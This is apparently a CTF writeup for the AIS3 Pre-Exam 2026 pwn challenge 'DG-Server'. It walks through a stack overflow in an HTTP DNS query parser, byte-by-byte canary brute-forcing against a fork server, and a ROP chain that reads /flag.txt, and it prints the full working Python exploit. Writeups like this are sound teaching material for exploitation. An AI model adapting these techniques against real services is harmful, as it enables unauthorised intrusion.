Skip to content
Suzu
6 min read

【Pwn】AIS3 Pre-Exam 2026 Writeup: DG-Server

A pwn writeup for DG-Server, from HTTP parser triage to the final exploit path.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Pwn - DG-Server

I opened scripts/dg-verify.py first.

The client sends a normal HTTP request:

path = f"/dns-query?name={quote(name, safe='')}&type={quote(rrtype, safe='')}"
request = (
    f"GET {path} HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    "Accept: application/dns-json\r\n"
    "Connection: close\r\n"
    "\r\n"
).encode()

Attack surface is not raw DNS. It is an HTTP parser with name= and type= query parameters.

Normal check:

python3 scripts/dg-verify.py @chals1.ais3.org:57573 www.curious.sleeping A

That only proved the public record worked. It did not touch /flag.txt.

Binary protections:

file dg-server
checksec --file=dg-server
dg-server: ELF 64-bit LSB executable, statically linked, stripped
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled

No PIE is nice. Addresses are fixed. NX means no shellcode. checksec says no canary, but that was misleading for the function I cared about. The local frame still used a stack canary.

No source was shipped for the server, so the next source-like thing was disassembly.

Request handler was around:

0x409440

It reads an HTTP request, accepts GET and DOH , then parses query parameters. The parser helpers around these addresses were useful:

0x408e1e  parse request
0x408d69  find query parameter
0x40838f  raw token length
0x40840a  decoded token length
0x4084da  decode one URL-encoded byte

Bug was in the response builder:

0x40923f

It creates a small stack buffer at:

rbp - 0x40

Next call:

0x40917f(req, rbp - 0x40)

That function copies the decoded type= bytes into the stack buffer using the decoded type length. No bounds check.

Stack layout from reversing:

56 bytes -> canary
64 bytes -> saved rbp
72 bytes -> saved rip

I did not trust this offset at first. GDB was useful only for checking the local frame shape; the remote canary behavior still needed probes. Wrong canary byte killed the child. Correct prefix gave a normal HTTP response.

type= still needs to pass the query type parser. Random bytes crash or get rejected too early.

Payload base:

base = bytearray(b"A" + b"B" * 55)
base[18] = 1
base[19] = 0

payload[0] is still A. The bytes at 18 and 19 keep a later qtype length check happy. The rest is just padding to the canary.

Server is a fork server. Parent stays alive, child handles one request. Canary is inherited by children. That gives a byte-by-byte oracle:

correct canary prefix -> HTTP response
wrong byte             -> child dies

Canary brute force starts with \x00, then probes the other 7 bytes.

One run gave:

00663da8f7326168

A new instance gives a new canary, so the exploit should brute it and use it right away.

GOT overwrite was not useful. No PIE gives code addresses, but the bug is a stack overflow and the binary is static. I also thought about using a raw syscall gadget. That failed in a non-obvious way.

A tempting syscall instruction was at:

0x4020c2

At first I treated it like syscall ; ret. Bad assumption. It is a syscall inside another function. After the syscall returns, execution continues in that function, not back to my ROP chain.

Symptom was strange: a small chain could write one debug string to the socket, then stop. No second syscall. No clean ROP flow.

No trigger, no path.

Back to disassembly. Real libc wrapper functions inside the static binary do syscall and return normally.

Useful wrappers:

open   0x73f510
read   0x73f630
write  0x73f6f0

I also found an openat wrapper, but I almost used the wrong address. Jumping into the middle at 0x799270 was unsafe because the function frame was not set up. The real wrapper entry was earlier. In the end open() at 0x73f510 was cleaner.

Useful gadgets:

pop rax ; ret                 0x694ed4
pop rdi ; ret                 0x69a383
pop rsi ; ret                 0x46958e
pop rdx ; ret                 0x4d5513
mov qword ptr [rdi], rdx; ret 0x728853
mov edi, eax ; ret            0x6bd710

Writable memory:

.bss = 0x8fc000

ROP plan:

write "/flag.txt\x00" into .bss
open("/flag.txt", 0, 0)
mov edi, eax
read(fd, .bss + 0x100, 0x100)
write(socket_fd, .bss + 0x100, 0x100)

Socket fd was 4 during testing.

No useful glibc/printf path here. This is a static HTTP parser overflow. The only libc part I used was the static syscall wrappers, because the raw syscall gadget did not return to ROP.

Full exploit:

#!/usr/bin/env python3
import concurrent.futures
import re
import socket
import struct
import time

HOST = "chals1.ais3.org"
PORT = 57573


def p64(x):
    return struct.pack("<Q", x & ((1 << 64) - 1))


def u64(b):
    return struct.unpack("<Q", b.ljust(8, b"\0"))[0]


def enc(bs):
    out = []
    for b in bs:
        if 48 <= b <= 57 or 65 <= b <= 90 or 97 <= b <= 122 or b in b"-_.~":
            out.append(chr(b))
        else:
            out.append("%%%02X" % b)
    return "".join(out)


def make_base():
    base = bytearray(b"A" + b"B" * 55)
    base[18] = 1
    base[19] = 0
    return bytes(base)


def send_payload(payload, timeout=3):
    req = (
        f"GET /dns-query?name=www.curious.sleeping.&type={enc(payload)} HTTP/1.1\r\n"
        f"Host: x\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode()

    s = socket.create_connection((HOST, PORT), timeout=timeout)
    s.settimeout(timeout)
    s.sendall(req)

    data = b""
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
        except socket.timeout:
            break

    s.close()
    return data


def probe_canary(prefix):
    payload = make_base() + prefix
    try:
        data = send_payload(payload, timeout=1)
        return data.startswith(b"HTTP/")
    except Exception:
        return False


def brute_canary():
    canary = bytearray([0])
    print("[*] brute canary")

    for idx in range(1, 8):
        found = []
        start = time.time()

        def one(b):
            test = bytes(canary) + bytes([b])
            return b if probe_canary(test) else None

        with concurrent.futures.ThreadPoolExecutor(max_workers=96) as ex:
            for r in ex.map(one, range(256)):
                if r is not None:
                    found.append(r)

        if not found:
            raise RuntimeError(f"failed at canary byte {idx}")

        canary.append(found[0])
        print(f"[*] byte {idx}: {found[0]:02x}, canary={canary.hex()}, {time.time() - start:.2f}s")

    return bytes(canary)


def build_rop(canary):
    pop_rax = 0x694ED4
    pop_rdi = 0x69A383
    pop_rsi = 0x46958E
    pop_rdx = 0x4D5513

    mov_qword_ptr_rdi_rdx = 0x728853
    mov_edi_eax = 0x6BD710

    open_func = 0x73F510
    read_func = 0x73F630
    write_func = 0x73F6F0

    # Only used at the very end. The flag is already sent by write().
    syscall_mid = 0x4020C2

    bss = 0x8FC000
    flagbuf = bss + 0x100

    chain = b""

    chain += p64(pop_rdi) + p64(bss)
    chain += p64(pop_rdx) + p64(u64(b"/flag.tx"))
    chain += p64(mov_qword_ptr_rdi_rdx)

    chain += p64(pop_rdi) + p64(bss + 8)
    chain += p64(pop_rdx) + p64(u64(b"t\0"))
    chain += p64(mov_qword_ptr_rdi_rdx)

    chain += p64(pop_rdi) + p64(bss)
    chain += p64(pop_rsi) + p64(0)
    chain += p64(pop_rdx) + p64(0)
    chain += p64(open_func)

    chain += p64(mov_edi_eax)
    chain += p64(pop_rsi) + p64(flagbuf)
    chain += p64(pop_rdx) + p64(0x100)
    chain += p64(read_func)

    chain += p64(pop_rdi) + p64(4)
    chain += p64(pop_rsi) + p64(flagbuf)
    chain += p64(pop_rdx) + p64(0x100)
    chain += p64(write_func)

    chain += p64(pop_rax) + p64(60)
    chain += p64(pop_rdi) + p64(0)
    chain += p64(syscall_mid)

    payload = make_base()
    payload += canary
    payload += b"C" * 8
    payload += chain
    return payload


def main():
    canary = brute_canary()
    print(f"[*] canary = {canary.hex()}")

    payload = build_rop(canary)
    print(f"[*] payload length = {len(payload)}")

    data = send_payload(payload, timeout=3)
    print(data[:1024])

    m = re.search(rb"AIS3\{[^\r\n\x00}]*\}", data)
    if m:
        print("[+] FLAG:", m.group(0).decode())
    else:
        print("[-] flag not found")


if __name__ == "__main__":
    main()

Output:

AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ}

Share this page